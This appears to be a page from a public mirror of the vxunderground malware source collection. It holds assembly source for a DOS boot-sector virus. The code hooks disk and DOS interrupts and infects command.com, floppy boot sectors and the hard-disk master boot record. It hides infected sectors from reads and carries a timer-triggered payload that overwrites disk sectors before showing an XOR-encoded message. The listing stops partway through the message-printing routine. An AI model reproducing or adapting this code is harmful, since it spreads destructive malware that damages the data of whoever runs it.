mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
1204 lines
18 KiB
NASM
1204 lines
18 KiB
NASM
start segment
|
||
assume cs:start,ds:start
|
||
org 100h
|
||
boot equ 0f00h
|
||
kezd: db 52h,24h
|
||
jmp hideg
|
||
nop
|
||
jmp meleg
|
||
nop
|
||
jmp tamad
|
||
veg1: dw 0
|
||
kezd1: dw 0
|
||
meleg: pop si
|
||
pop ds
|
||
pop [si]
|
||
pop [si+2]
|
||
mov si,boot
|
||
mov di,7c00h
|
||
push cs
|
||
pop ds
|
||
xor ax,ax
|
||
mov es,ax
|
||
mov cx,100h
|
||
pushf
|
||
cld
|
||
rep movsw
|
||
popf
|
||
ok1: db 0eah,00,7ch,0,0
|
||
hideg: xor ax,ax
|
||
push si
|
||
push di
|
||
push cx
|
||
cld
|
||
mov di,offset flag1
|
||
mov si,offset flagv
|
||
awq: stosb
|
||
cmp di,si
|
||
jc awq
|
||
pop cx
|
||
pop di
|
||
pop si
|
||
mov es,ax
|
||
mov ax,es:word ptr [4ch]
|
||
mov cs:word ptr [int13+1],ax
|
||
mov ax,es:word ptr [4eh]
|
||
mov cs:word ptr [int13+3],ax
|
||
mov ax,offset it13
|
||
mov es:word ptr [4ch],ax
|
||
mov es:[4eh],cs
|
||
mov ax,es:word ptr [84h]
|
||
mov cs:word ptr [int21+1],ax
|
||
mov ax,es:word ptr [86h]
|
||
mov cs:word ptr [int21+3],ax
|
||
mov ax,0f000h
|
||
mov es,ax
|
||
mov al,es:byte ptr[0fff0h]
|
||
cmp al,0eah
|
||
jnz meleg
|
||
mov ax,es:word ptr[0fff1h]
|
||
mov cs:word ptr [reset+1],ax
|
||
mov ax,es:word ptr[0fff3h]
|
||
mov cs:word ptr [reset+3],ax
|
||
jmp meleg
|
||
int13: db 0eah,0,0,0,0
|
||
int21: db 0eah,0,0,0,0
|
||
int40: db 0eah,0,0,0,0
|
||
flag1: db 0
|
||
flag2: db 0
|
||
flag3: db 0
|
||
flag4: dw 0
|
||
flag5: db 0
|
||
flagv db 0
|
||
egys: db 0
|
||
sub13: cmp dl,0
|
||
jz sub40
|
||
visx: pushf
|
||
push cs
|
||
mov dl,cs:byte ptr [egys]
|
||
call int13
|
||
ret
|
||
sub40: push ax
|
||
mov al,cs:byte ptr [flag5]
|
||
cmp al,80
|
||
pop ax
|
||
jmp visx
|
||
pushf
|
||
push cs
|
||
call int40
|
||
ret
|
||
subru: push ax
|
||
push cx
|
||
push dx
|
||
push ds
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov ax,ds:word ptr [78h]
|
||
mov cs:word ptr [int1e],ax
|
||
mov ax,ds:word ptr [7ah]
|
||
mov cs:word ptr [int1e+2],ax
|
||
mov al,cs:byte ptr [sav]
|
||
cmp al,28h
|
||
jz dds
|
||
mov bx,offset hdtbl
|
||
jmp hds
|
||
dds: mov bx,offset dstbl
|
||
mov cx,offset tb360
|
||
jmp okea
|
||
hds: mov ax,cs:word ptr [szekt]
|
||
mov cx,offset tb12
|
||
cmp ax,0fh
|
||
jz okea
|
||
mov cx,offset tb720
|
||
cmp ax,9
|
||
jz okea
|
||
mov cx,offset tb14
|
||
okea: mov ds:word ptr [78h],cx
|
||
mov ds:word ptr [7ah],cs
|
||
pop ds
|
||
pop dx
|
||
pop cx
|
||
pop ax
|
||
call sub13
|
||
push ax
|
||
push cx
|
||
push dx
|
||
push ds
|
||
pushf
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov ax,cs:word ptr [int1e]
|
||
mov ds:word ptr [78h],ax
|
||
mov ax,cs:word ptr [int1e+2]
|
||
mov ds:word ptr [7ah],ax
|
||
popf
|
||
pop ds
|
||
pop dx
|
||
pop cx
|
||
pop ax
|
||
ret
|
||
sub21: pushf
|
||
push cs
|
||
call int21
|
||
ret
|
||
it21: cmp ah,3dh
|
||
jnz fu3e
|
||
push bx
|
||
push cx
|
||
push ax
|
||
push dx
|
||
push es
|
||
push ds
|
||
mov bx,dx
|
||
cikl1: mov al,[bx]
|
||
cmp al,0
|
||
jz veg
|
||
inc bx
|
||
jmp cikl1
|
||
veg: push si
|
||
mov si,offset nev
|
||
dec bx
|
||
dec si
|
||
mov cx,11
|
||
cikl2: mov al,[bx]
|
||
or al,20h
|
||
cmp al,cs:[si]
|
||
jz nem4
|
||
jmp nem1
|
||
nem4: dec si
|
||
dec bx
|
||
loop cikl2
|
||
pop si
|
||
pop ds
|
||
pop es
|
||
pop dx
|
||
pop ax
|
||
pop cx
|
||
pop bx
|
||
call sub21
|
||
jnc igen1
|
||
retf 2
|
||
igen1: mov cs:word ptr [flag4],ax
|
||
nem2: clc
|
||
retf 2
|
||
fu3e: cmp ah,3eh
|
||
jz aah
|
||
jmp int21
|
||
aah: cmp bx,cs:word ptr [flag4]
|
||
jz folyt8
|
||
jmp int21
|
||
folyt8: cmp cs:word ptr [flag4],0
|
||
jnz folyt9
|
||
jmp int21
|
||
folyt9: mov cs:word ptr [flag4],0
|
||
call sub21
|
||
push ds
|
||
push es
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
mov cs:byte ptr [fo],0
|
||
ujfo: mov bx,200h
|
||
mov ah,48h
|
||
call sub21
|
||
cmp bx,200h
|
||
jnc fogl
|
||
nem3: pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
pop es
|
||
pop ds
|
||
retf 2
|
||
fo: db 0
|
||
fogl: push ax
|
||
and ax,0fffh
|
||
cmp ax,0db0h
|
||
jc okes1
|
||
pop ax
|
||
cmp cs:byte ptr [fo],3
|
||
jz nem3
|
||
inc cs:byte ptr [fo]
|
||
jmp ujfo
|
||
okes1: pop ax
|
||
okes: mov es,ax
|
||
mov cs:word ptr [szegm],ax
|
||
mov si,0
|
||
mov di,0
|
||
mov cx,1000h
|
||
push cs
|
||
pop ds
|
||
pushf
|
||
cld
|
||
rep movsw
|
||
popf
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov ax,0
|
||
mov ds,ax
|
||
mov ax,offset it21
|
||
mov dx,cs
|
||
mov bx,0
|
||
mov cx,0fff0h
|
||
tovabb: call keres
|
||
jnz nincs
|
||
push ax
|
||
mov ax,cs:word ptr [int21+1]
|
||
mov ds:word ptr [bx],ax
|
||
mov ax,cs:word ptr [int21+3]
|
||
mov ds:word ptr [bx+2],ax
|
||
pop ax
|
||
jmp tovabb
|
||
reset: db 0eah,0f0h,0ffh,0,0f0h
|
||
nincs: mov ax,offset it13
|
||
mov dx,cs
|
||
mov bx,0
|
||
mov cx,0fff0h
|
||
tovab1: call keres
|
||
jnz kil2
|
||
push ax
|
||
mov ax,es
|
||
mov ds:word ptr [bx+2],ax
|
||
pop ax
|
||
jmp tovab1
|
||
kil2: mov ax,0
|
||
mov ds,ax
|
||
mov ax,ds:word ptr [100h]
|
||
mov es:word ptr [int40+1],ax
|
||
mov ax,ds:word ptr [102h]
|
||
mov es:word ptr [int40+3],ax
|
||
call beszur
|
||
mov ax,offset it40
|
||
jmp nem3
|
||
mov ds:word ptr [100h],ax
|
||
mov ax,es
|
||
mov ds:word ptr [102h],ax
|
||
mov es:byte ptr [flag5],80
|
||
jmp nem3
|
||
keres: push ax
|
||
push dx
|
||
ker1: cmp word ptr[bx],ax
|
||
jz van1
|
||
nincs1: inc bx
|
||
loop ker1
|
||
inc cx
|
||
kil1: pop dx
|
||
pop ax
|
||
ret
|
||
van1: cmp word ptr [bx+2],dx
|
||
jnz nincs1
|
||
jmp kil1
|
||
nem1: pop si
|
||
pop ds
|
||
pop es
|
||
pop dx
|
||
pop ax
|
||
pop cx
|
||
pop bx
|
||
jmp int21
|
||
db 'command.com'
|
||
nev: db 0
|
||
it13: push bx
|
||
push ax
|
||
push cx
|
||
push dx
|
||
push es
|
||
push ds
|
||
push di
|
||
push si
|
||
push cs
|
||
pop ds
|
||
push cx
|
||
push ax
|
||
push dx
|
||
mov bx,offset atir
|
||
mov cx,2
|
||
erdf: call ftr
|
||
jc poiu
|
||
loop erdf
|
||
jmp reset
|
||
ftr: mov al,90h
|
||
clc
|
||
mov [bx],al
|
||
atir: stc
|
||
nop
|
||
nop
|
||
nop
|
||
nop
|
||
nop
|
||
nop
|
||
nop
|
||
mov al,0f9h
|
||
mov [bx],al
|
||
ret
|
||
poiu: pop dx
|
||
pop ax
|
||
pop cx
|
||
cmp cs:byte ptr [mod1],1
|
||
jnz awsw
|
||
jmp leol
|
||
awsw: mov cs:byte ptr [egys],dl
|
||
cmp ah,2
|
||
jc aab
|
||
cmp ah,4
|
||
jnc aab
|
||
cmp cx,3
|
||
jnc aab
|
||
cmp dh,0
|
||
jnz aab
|
||
mov cs:byte ptr [flag3],80h
|
||
aab: mov al,cs:byte ptr [flag1]
|
||
cmp al,80h
|
||
jz ugr1
|
||
xor ax,ax
|
||
mov es,ax
|
||
mov ax,es:word ptr [84h]
|
||
cmp ax,cs:word ptr [int21+1]
|
||
jz tov1
|
||
jmp dos
|
||
tov1: mov ax,es:word ptr [86h]
|
||
cmp ax,cs:word ptr [int21+3]
|
||
jz ugr1
|
||
jmp dos
|
||
ugr1: cmp di,55aah
|
||
jnz norm
|
||
cmp si,5aa5h
|
||
jnz norm
|
||
pop si
|
||
mov si,0a55ah
|
||
push si
|
||
norm: cmp dl,20h
|
||
jc lemeza
|
||
cmp dl,80h
|
||
jz win
|
||
fdg: jmp kilep
|
||
win: jmp wincsi
|
||
it40: jmp int40
|
||
lemeza: mov al,cs:byte ptr [flag3]
|
||
cmp al,80h
|
||
jz lcsere
|
||
cmp ah,5
|
||
jnz haha1
|
||
haha2: mov cs:byte ptr [flag3],84h
|
||
jmp haha
|
||
haha1: cmp al,0
|
||
jz haha
|
||
dec cs:byte ptr [flag3]
|
||
haha: jmp kilepo
|
||
hah1: call sub13
|
||
jnc viter1
|
||
idt: cmp ah,6
|
||
jnz viter
|
||
mov cs:byte ptr [flag3],80h
|
||
viter: stc
|
||
viter1: retf 2
|
||
lcsere: mov cs:byte ptr [flag2],0
|
||
cmp ah,5
|
||
jz haha2
|
||
mov cx,3
|
||
cikl7: push cx
|
||
mov cs:byte ptr [flag3],0
|
||
mov bx,boot+200h
|
||
mov ax,201h
|
||
mov cx,1
|
||
mov dx,0
|
||
push cs
|
||
pop es
|
||
call sub13
|
||
pop cx
|
||
jnc ugr4
|
||
loop cikl7
|
||
jmp kilep
|
||
ugr4: push cs
|
||
pop ds
|
||
mov bx,boot+200h
|
||
mov cx,200h
|
||
mov ax,0cdfbh
|
||
mov dx,7213h
|
||
call keres
|
||
jz folyt1
|
||
jmp kilep
|
||
folyt1: mov cs:byte ptr [fert],1
|
||
mov ax,[bx+5]
|
||
cmp ax,12cdh
|
||
mov cs:word ptr [cime],bx
|
||
mov cs:word ptr[wax],308h
|
||
jz foi
|
||
jmp folyt2
|
||
foi: mov al,cs:[bx+5+offset ver1-offset kezd2]
|
||
cmp al,23
|
||
jnz meh
|
||
mov ax,cs:[bx+6+offset ver1-offset kezd2]
|
||
cmp ax,word ptr ver1+1
|
||
jnc kilepo
|
||
meh: mov cs:word ptr [wax],307h
|
||
jmp folyt2
|
||
fert: db 0,0
|
||
kilepo: pop si
|
||
pop di
|
||
pop ds
|
||
pop es
|
||
pop dx
|
||
pop cx
|
||
pop ax
|
||
pop bx
|
||
cmp dh,0
|
||
jz ugs
|
||
jmp hah1
|
||
ugs: cmp cx,1
|
||
jz bout1
|
||
jmp hah1
|
||
bout1: cmp ah,2
|
||
jz bout
|
||
cmp ah,3
|
||
jz save
|
||
jmp hah1
|
||
bout: call sub13
|
||
jnc ada
|
||
jmp idt
|
||
ada: cmp cs:byte ptr [flag1],80h
|
||
jz ase
|
||
jmp hah1
|
||
ase: push si
|
||
pushf
|
||
mov si,offset bot1
|
||
call ase1
|
||
popf
|
||
pop si
|
||
jmp viter1
|
||
save: cmp cs:byte ptr [fert],1
|
||
jz save2
|
||
jmp kif
|
||
save2: mov cs:byte ptr [fert],0
|
||
push bx
|
||
push ax
|
||
push cx
|
||
push dx
|
||
push es
|
||
push ds
|
||
push di
|
||
push si
|
||
push es
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
mov cx,200h
|
||
mov si,bx
|
||
mov di,offset boot+200h
|
||
rep movsb
|
||
jmp folyt3
|
||
kif: pop bx
|
||
pop cx
|
||
pop cx
|
||
pop dx
|
||
pop es
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
clc
|
||
jmp viter1
|
||
ase1: push bx
|
||
push ax
|
||
push cx
|
||
push dx
|
||
push di
|
||
push ds
|
||
push cs
|
||
pop ds
|
||
mov ax,cs:word ptr [cime]
|
||
and ax,0ffh
|
||
add bx,ax
|
||
mov di,bx
|
||
mov cx,59h
|
||
pushf
|
||
cld
|
||
rep movsb
|
||
popf
|
||
pop ds
|
||
pop di
|
||
pop dx
|
||
pop cx
|
||
pop ax
|
||
pop bx
|
||
clc
|
||
ret
|
||
folyt2: mov bx,boot+200h
|
||
mov ax,301h
|
||
mov cx,1
|
||
mov dx,0
|
||
push cs
|
||
pop es
|
||
call sub13
|
||
jnc folyt3
|
||
jmp kilep
|
||
folyt3: push cs
|
||
pop ds
|
||
mov bx,boot+200h
|
||
mov ax,[bx+18h]
|
||
mov cs:word ptr [szekt],ax
|
||
mov cx,[bx+1ah]
|
||
mul cx
|
||
mov cx,ax
|
||
mov ax,[bx+13h]
|
||
mov dx,0
|
||
div cx
|
||
mov cs:byte ptr [sav],al
|
||
mov ch,al
|
||
mov al,1
|
||
ugr3: nop
|
||
mov cl,5
|
||
mov ah,5
|
||
push cs
|
||
pop es
|
||
mov dx,0
|
||
push cx
|
||
cmp cs:word ptr [wax],307h
|
||
clc
|
||
jz waxi
|
||
cmp cs:byte ptr [fert],0
|
||
clc
|
||
jz waxi
|
||
call subru
|
||
waxi: push ds
|
||
push ax
|
||
pop ax
|
||
pop ds
|
||
pop cx
|
||
jnc jo4
|
||
jmp kilep
|
||
sav: db 0
|
||
wax: dw 0
|
||
szekt: dw 0
|
||
jo4: mov si,boot+200h
|
||
mov di,boot
|
||
push cs
|
||
pop ds
|
||
push cx
|
||
mov cx,100h
|
||
pushf
|
||
cld
|
||
rep movsw
|
||
popf
|
||
pop cx
|
||
push cx
|
||
mov ax,cs:word ptr [wax]
|
||
mov dx,0
|
||
mov cl,1
|
||
mov bx,100h
|
||
cmp cs:byte ptr [fert],0
|
||
clc
|
||
jz hoho
|
||
call sub13
|
||
hoho: pop cx
|
||
jnc jo2
|
||
jmp kilep
|
||
jo2: push cs
|
||
pop ds
|
||
push cx
|
||
mov bx,boot+200h
|
||
mov ax,0cdfbh
|
||
mov dx,7213h
|
||
mov cx,200h
|
||
call keres
|
||
pop cx
|
||
jz jo3
|
||
jmp kilep
|
||
jo3: push bx
|
||
push cx
|
||
mov cx,100h
|
||
mov ax,0e432h
|
||
mov dx,16cdh
|
||
call keres
|
||
jz jo5
|
||
pop cx
|
||
pop bx
|
||
jmp kilep
|
||
jo5: sub bx,6
|
||
mov cs:word ptr [veg1],bx
|
||
pop cx
|
||
pop bx
|
||
add bx,5
|
||
mov cs:word ptr [kezd1],bx
|
||
mov cs:byte ptr [fej+2],ch
|
||
push cx
|
||
mov si,offset kezd2
|
||
mov bx,cs:word ptr [kezd1]
|
||
mov cx,offset veg2-offset kezd2
|
||
push cs
|
||
pop ds
|
||
cikl9: mov al,[si]
|
||
mov [bx],al
|
||
inc bx
|
||
inc si
|
||
loop cikl9
|
||
cikl10: mov ds:byte ptr [bx],90h
|
||
inc bx
|
||
cmp bx,cs:word ptr [veg1]
|
||
jc cikl10
|
||
pop cx
|
||
mov cx,3
|
||
wqe: push cx
|
||
mov cx,1
|
||
mov dx,0
|
||
mov ax,301h
|
||
mov bx,boot+200h
|
||
push cs
|
||
pop es
|
||
call sub13
|
||
jc kikk
|
||
pop cx
|
||
cmp cs:byte ptr [fert],0
|
||
jnz kig
|
||
jmp kif
|
||
kig: jmp kilepo
|
||
kikk: pop cx
|
||
loop wqe
|
||
jmp kilep
|
||
dos: nop
|
||
mov al,80h
|
||
mov cs:byte ptr [flag1],al
|
||
mov ax,es:word ptr [84h]
|
||
mov cs:word ptr [int21+1],ax
|
||
mov ax,es:word ptr [86h]
|
||
mov cs:word ptr [int21+3],ax
|
||
mov ax,offset it21
|
||
mov es:word ptr [84h],ax
|
||
mov es:[86h],cs
|
||
kilep: pop si
|
||
pop di
|
||
pop ds
|
||
pop es
|
||
pop dx
|
||
pop cx
|
||
pop ax
|
||
pop bx
|
||
jmp int13
|
||
tamad: push cs
|
||
pop ds
|
||
mov cs:word ptr [szama],28800
|
||
xor ax,ax
|
||
push si
|
||
push di
|
||
push cx
|
||
cld
|
||
mov di,offset flag1
|
||
mov si,offset flagv
|
||
alsk: stosb
|
||
cmp di,si
|
||
jc alsk
|
||
pop cx
|
||
pop di
|
||
pop si
|
||
mov es,ax
|
||
mov cs:byte ptr[flag1],80h
|
||
mov ax,es:word ptr [4ch]
|
||
mov cs:word ptr [int13+1],ax
|
||
mov ax,es:word ptr [4eh]
|
||
mov cs:word ptr [int13+3],ax
|
||
mov ax,offset it13
|
||
mov es:word ptr[4ch],ax
|
||
mov es:word ptr[4eh],cs
|
||
mov ax,201h
|
||
mov bx,offset boot+400h
|
||
push cs
|
||
pop es
|
||
mov dx,180h
|
||
mov cx,1
|
||
int 13h
|
||
mov ax,0
|
||
mov es,ax
|
||
mov ax,cs:word ptr [int13+1]
|
||
mov es:word ptr[4ch],ax
|
||
mov ax,cs:word ptr [int13+3]
|
||
mov es:word ptr[4eh],ax
|
||
mov ax,0f000h
|
||
mov es,ax
|
||
mov al,es:byte ptr [0fff0h]
|
||
cmp al,0eah
|
||
jnz akdj
|
||
mov ax,es:word ptr [0fff1h]
|
||
mov cs:word ptr [reset+1],ax
|
||
mov ax,es:word ptr [0fff3h]
|
||
mov cs:word ptr [reset+3],ax
|
||
akdj: retf
|
||
kezd2: int 12h
|
||
mov bx,40h
|
||
mul bx
|
||
sub ax,1000h
|
||
mov es,ax
|
||
mov dx,0
|
||
jmp fej
|
||
ver1: db 23,0,6
|
||
fej: mov cx,2801h
|
||
mov ax,208h
|
||
mov bx,100h
|
||
push bx
|
||
cmp es:word ptr [bx],2452h
|
||
jz el1
|
||
int 13h
|
||
pop bx
|
||
jc veg2
|
||
push es
|
||
mov ax,102h
|
||
el2: push ax
|
||
retf
|
||
el1: mov bx,0f00h
|
||
mov al,1
|
||
mov cl,8
|
||
int 13h
|
||
pop bx
|
||
jc veg2
|
||
push es
|
||
mov ax,105h
|
||
jmp el2
|
||
veg2: nop
|
||
nop
|
||
wincsi: jmp aba
|
||
aasw: mov al,cs:byte ptr [flag2]
|
||
cmp al,80h
|
||
jz cxz
|
||
jmp kilep
|
||
cxz: pop si
|
||
pop di
|
||
pop ds
|
||
pop es
|
||
pop dx
|
||
pop cx
|
||
pop ax
|
||
pop bx
|
||
cmp ch,0
|
||
jz acb
|
||
jmp abbb
|
||
acb: cmp cl,0ah
|
||
jc acd
|
||
jmp abbb
|
||
acd: cmp dh,0
|
||
jz ace
|
||
jmp abbb
|
||
ace: cmp ah,3
|
||
jnz abe
|
||
mov cs:byte ptr [flag2],0
|
||
abb: push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
mov dx,80h
|
||
mov ax,201h
|
||
mov cx,9
|
||
mov bx,offset boot+200h
|
||
push es
|
||
push cs
|
||
pop es
|
||
mov dx,80h
|
||
call sub13
|
||
jc aca
|
||
mov ax,301h
|
||
mov cx,1
|
||
mov dx,80h
|
||
mov bx,offset boot+200h
|
||
call sub13
|
||
aca: pop es
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
abbb: call sub13
|
||
jmp viter1
|
||
abe: cmp ah,2
|
||
jnz abbb
|
||
push di
|
||
push cx
|
||
push dx
|
||
push bx
|
||
push ax
|
||
push ax
|
||
mov ah,0
|
||
mov di,ax
|
||
pop ax
|
||
abj: push cx
|
||
cmp cl,1
|
||
jnz abh
|
||
mov cl,9
|
||
jmp abi
|
||
abh: mov cx,0ah
|
||
abi: push bx
|
||
push di
|
||
mov al,1
|
||
push es
|
||
mov ah,2
|
||
call sub13
|
||
pop es
|
||
pop di
|
||
pop bx
|
||
pop cx
|
||
jc abk
|
||
add bx,200h
|
||
mov cl,2
|
||
dec di
|
||
jnz abj
|
||
pop ax
|
||
mov ah,0
|
||
pop bx
|
||
pop dx
|
||
pop cx
|
||
pop di
|
||
clc
|
||
jmp viter1
|
||
abk: pop bx
|
||
pop bx
|
||
pop dx
|
||
pop cx
|
||
pop di
|
||
mov al,0
|
||
jmp viter1
|
||
aba: mov al,cs:byte ptr [flag2]
|
||
cmp al,80h
|
||
jnz abc
|
||
jmp aasw
|
||
abc: cmp al,40h
|
||
jnz abw
|
||
jmp aasw
|
||
abw: mov cx,3
|
||
ckld: push cx
|
||
mov dx,80h
|
||
mov cx,1
|
||
mov bx,offset boot
|
||
mov ax,201h
|
||
push cs
|
||
pop es
|
||
call sub13
|
||
pop cx
|
||
jnc abdq
|
||
loop ckld
|
||
kias: jmp aasw
|
||
abdq: mov dx,180h
|
||
mov cx,1
|
||
mov bx,offset boot+200h
|
||
mov ax,201h
|
||
push cs
|
||
pop es
|
||
call sub13
|
||
jc kias
|
||
mov bx,offset boot+200h
|
||
mov ax,cs:[bx+1feh]
|
||
cmp ax,0aa55h
|
||
jz abd
|
||
mov cs:byte ptr [flag2],40h
|
||
jmp kias
|
||
abd: push cs
|
||
pop ds
|
||
mov cx,3
|
||
mov bx,offset boot
|
||
mov si,offset kezd3
|
||
kere: mov al,[bx]
|
||
cmp al,[si]
|
||
jnz nem9
|
||
inc bx
|
||
inc si
|
||
loop kere
|
||
sub bx,3
|
||
add bx,offset ver2-kezd3
|
||
mov al,[bx]
|
||
cmp al,23
|
||
jnz nemq
|
||
mov ax,[si+offset ver2-offset kezd3]
|
||
cmp ax,[bx+1]
|
||
jc nemr
|
||
nemq: mov ax,307h
|
||
jmp nemw
|
||
nemr: mov cs:byte ptr [flag2],80h
|
||
jmp aasw
|
||
nem9: mov ax,308h
|
||
nemw: mov dx,80h
|
||
mov cx,2
|
||
mov bx,100h
|
||
call sub13
|
||
jnc oby
|
||
jmp aasw
|
||
oby: mov si,offset kezd3
|
||
mov cx,offset veg3-offset kezd3
|
||
mov di,offset boot
|
||
pushf
|
||
cld
|
||
rep movsb
|
||
popf
|
||
mov ax,301h
|
||
mov dx,80h
|
||
mov cx,01h
|
||
mov bx,offset boot
|
||
call sub13
|
||
mov cs:byte ptr [flag2],80h
|
||
jmp aasw
|
||
kezd3: int 12h
|
||
mov bx,40h
|
||
mul bx
|
||
sub ax,1000h
|
||
mov es,ax
|
||
xor ax,ax
|
||
jmp ugas
|
||
ver2: db 23,0,6
|
||
ugas: mov ss,ax
|
||
mov sp,7c00h
|
||
mov dx,80h
|
||
mov cx,02h
|
||
mov ax,208h
|
||
mov bx,100h
|
||
push bx
|
||
cmp es:word ptr [bx],2452h
|
||
jz el11
|
||
int 13h
|
||
pop bx
|
||
jc vege
|
||
push es
|
||
mov ax,102h
|
||
el21: push ax
|
||
retf
|
||
el11: mov bx,0f00h
|
||
mov al,1
|
||
mov cl,9
|
||
int 13h
|
||
pop bx
|
||
jc vege
|
||
push es
|
||
mov ax,105h
|
||
jmp el21
|
||
vege: jmp vege ;szoveg kiiratasa
|
||
veg3: nop
|
||
nop
|
||
cime: dw 0
|
||
bot1: sti
|
||
int 13h
|
||
db 72h,67h
|
||
mov al,ds:[7c10h]
|
||
cbw
|
||
mul ds:word ptr [7c16h]
|
||
add ax,ds:[7c1ch]
|
||
add ax,ds:[7c0eh]
|
||
mov ds:[7c3fh],ax
|
||
mov ds:[7c37h],ax
|
||
mov ax,20h
|
||
mul ds:word ptr [7c11h]
|
||
mov bx,ds:[7c0bh]
|
||
add ax,bx
|
||
dec ax
|
||
div bx
|
||
add ds:[7c37h],ax
|
||
mov bx,0500h
|
||
mov ax,ds:[7c3fh]
|
||
db 0e8h,09fh,0
|
||
mov ax,201h
|
||
db 0e8h,0b3h,0,72h,19h
|
||
mov di,bx
|
||
mov cx,0bh
|
||
mov si,7dd6h
|
||
repz cmpsb
|
||
db 75h,0dh
|
||
lea di,ds:[bx+20h]
|
||
mov si,7d1eh
|
||
mov cx,0bh
|
||
repz movsb
|
||
db 74h,18h
|
||
db 0,0,0,0,0,0,0,0,0,0,0,0
|
||
tb12: db 0dfh,2,25h,2,0fh,1bh,0ffh,54h,0f6h,0fh,8,4fh,0,4
|
||
tb720: db 0d1h,2,25h,2,9,2ah,0ffh,50h,0f6h,0fh,4,4fh,80h,5
|
||
tb360: db 0dfh,2,25h,2,9,23h,0ffh,50h,0f6h,0fh,8,27h,40,3
|
||
tb14: db 0a1h,2,25h,2,12h,1bh,0ffh,60h,0f6h,0fh,4,4fh,0,7
|
||
int1e: dw 0,0,0,0,0,0,0,0
|
||
hdtbl: db 50h,0,1,2,50h,0,2,2,50h,0,3,2,50h,0,4,2,50h,0,5,2,50h,0,6,2,50h,0,7,2,50h,0,8,2,50h,0,9,2,50h,0,0ah,2,50h,0,0bh,2,50h,0,0ch,2,50h,0,0dh,2,50h,0,0eh,2
|
||
db 50h,0,0fh,2,50h,0,10h,2,50h,0,11h,2,50h,0,11h,2,50h,0,12h,2
|
||
dstbl: db 28h,0,1,2,28h,0,2,2,28h,0,3,2,28h,0,4,2,28h,0,5,2,28h,0,6,2,28h,0,7,2,28h,0,8,2,28h,0,9,2
|
||
mod2: db 0
|
||
mod1: db 0
|
||
beszur: push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push es
|
||
push ds
|
||
push di
|
||
push si
|
||
mov ax,201h
|
||
mov cx,0ah
|
||
mov bx,offset boot
|
||
mov dx,80h
|
||
push cs
|
||
pop es
|
||
pushf
|
||
push cs
|
||
call int13
|
||
mov es,cs:word ptr [szegm]
|
||
mov es:word ptr [mod2],0
|
||
jc hib
|
||
mov ax,cs:word ptr [boot]
|
||
cmp al,23h
|
||
jnz hib
|
||
mov es:byte ptr [mod2],ah
|
||
jmp hib
|
||
hib: mov es,cs:word ptr[szegm]
|
||
mov bx,offset kiiras
|
||
mov cx,offset kiirv-offset kiiras
|
||
mov al,es:[bx]
|
||
cmp al,20h
|
||
jnz hib1
|
||
cijk: mov al,es:[bx]
|
||
xor al,45h
|
||
mov es:[bx],al
|
||
inc bx
|
||
loop cijk
|
||
hib1: mov ch,25h
|
||
mov ah,4
|
||
int 1ah
|
||
jc friss
|
||
cmp cl,89h
|
||
jc friss
|
||
cmp ch,25h
|
||
jz bete
|
||
cmp dh,7
|
||
jnc bete
|
||
jmp nbete
|
||
friss: mov al,54h
|
||
out 43h,al
|
||
mov al,0ffh
|
||
out 41h,al
|
||
jmp nbete
|
||
bete: cmp es:byte ptr [mod2],2
|
||
jz nbete
|
||
mov ax,0
|
||
mov ds,cs:word ptr [szegm]
|
||
mov es,ax
|
||
mov ax,es:word ptr[70h]
|
||
mov ds:word ptr [tim+1],ax
|
||
mov ax,es:word ptr[72h]
|
||
mov ds:word ptr [tim+3],ax
|
||
mov ax,offset timer
|
||
mov es:word ptr [70h],ax
|
||
mov ax,cs:word ptr [szegm]
|
||
mov es:word ptr [72h],ds
|
||
nbete: pop si
|
||
pop di
|
||
pop ds
|
||
pop es
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
ret
|
||
szegm: dw 0,0
|
||
tim: db 0eah,0,0,0,0,0
|
||
szama: dw 28800
|
||
timer: pushf
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push ds
|
||
push cs
|
||
pop ds
|
||
mov cx,2
|
||
mov bx,offset atir
|
||
mov al,cs:[bx]
|
||
cmp al,90h
|
||
jnz rwt
|
||
jmp reset
|
||
rwt: call ftr
|
||
jc rwe
|
||
loop rwt
|
||
jmp reset
|
||
rwe: pop ds
|
||
mov ax,cs:word ptr [szama]
|
||
dec ax
|
||
kii: mov cs:word ptr [szama],ax
|
||
jz gyilk1
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
popf
|
||
jmp tim
|
||
gyilk1: mov ax,28800
|
||
mov cs:byte ptr [mod1],1
|
||
inc ax
|
||
jmp kii
|
||
leol: mov bx,offset kiiras
|
||
mov cx,offset kiirv-offset kiiras
|
||
mov al,cs:[bx]
|
||
cmp al,20h
|
||
jz leol1
|
||
adla: mov al,cs:[bx]
|
||
xor al,45h
|
||
mov cs:[bx],al
|
||
inc bx
|
||
loop adla
|
||
leol1: push cs
|
||
pop ds
|
||
cmp cs:byte ptr [mod2],1
|
||
jz atu
|
||
irtas: mov si,offset graf
|
||
mov di,offset boot
|
||
mov cx,128
|
||
mov dl,4*9
|
||
push cs
|
||
pop es
|
||
push cs
|
||
pop ds
|
||
cld
|
||
cvgh: rep movsb
|
||
sub si,128
|
||
mov cx,128
|
||
dec dl
|
||
jnz cvgh
|
||
mov dx,180h
|
||
mov ax,309h
|
||
mov cx,2
|
||
mov bx,offset boot
|
||
pushf
|
||
push cs
|
||
call int13
|
||
mov dx,280h
|
||
mov ax,309h
|
||
mov cx,2
|
||
mov bx,offset boot
|
||
pushf
|
||
push cs
|
||
call int13
|
||
mov dx,0
|
||
mov ax,309h
|
||
mov cx,1
|
||
mov bx,offset boot
|
||
pushf
|
||
push cs
|
||
call int13
|
||
atu: mov si,offset kiiras
|
||
mov al,2
|
||
mov ah,0
|
||
int 10h
|
||
awqt: mov al,cs:[si]
|
||
cmp al,0
|
||
jz kie
|
||
mov ah,0eh
|
||
mov bx,0
|
||
push si
|
||
int 10h
|
||
pop si
|
||
inc si
|
||
jmp awqt
|
||
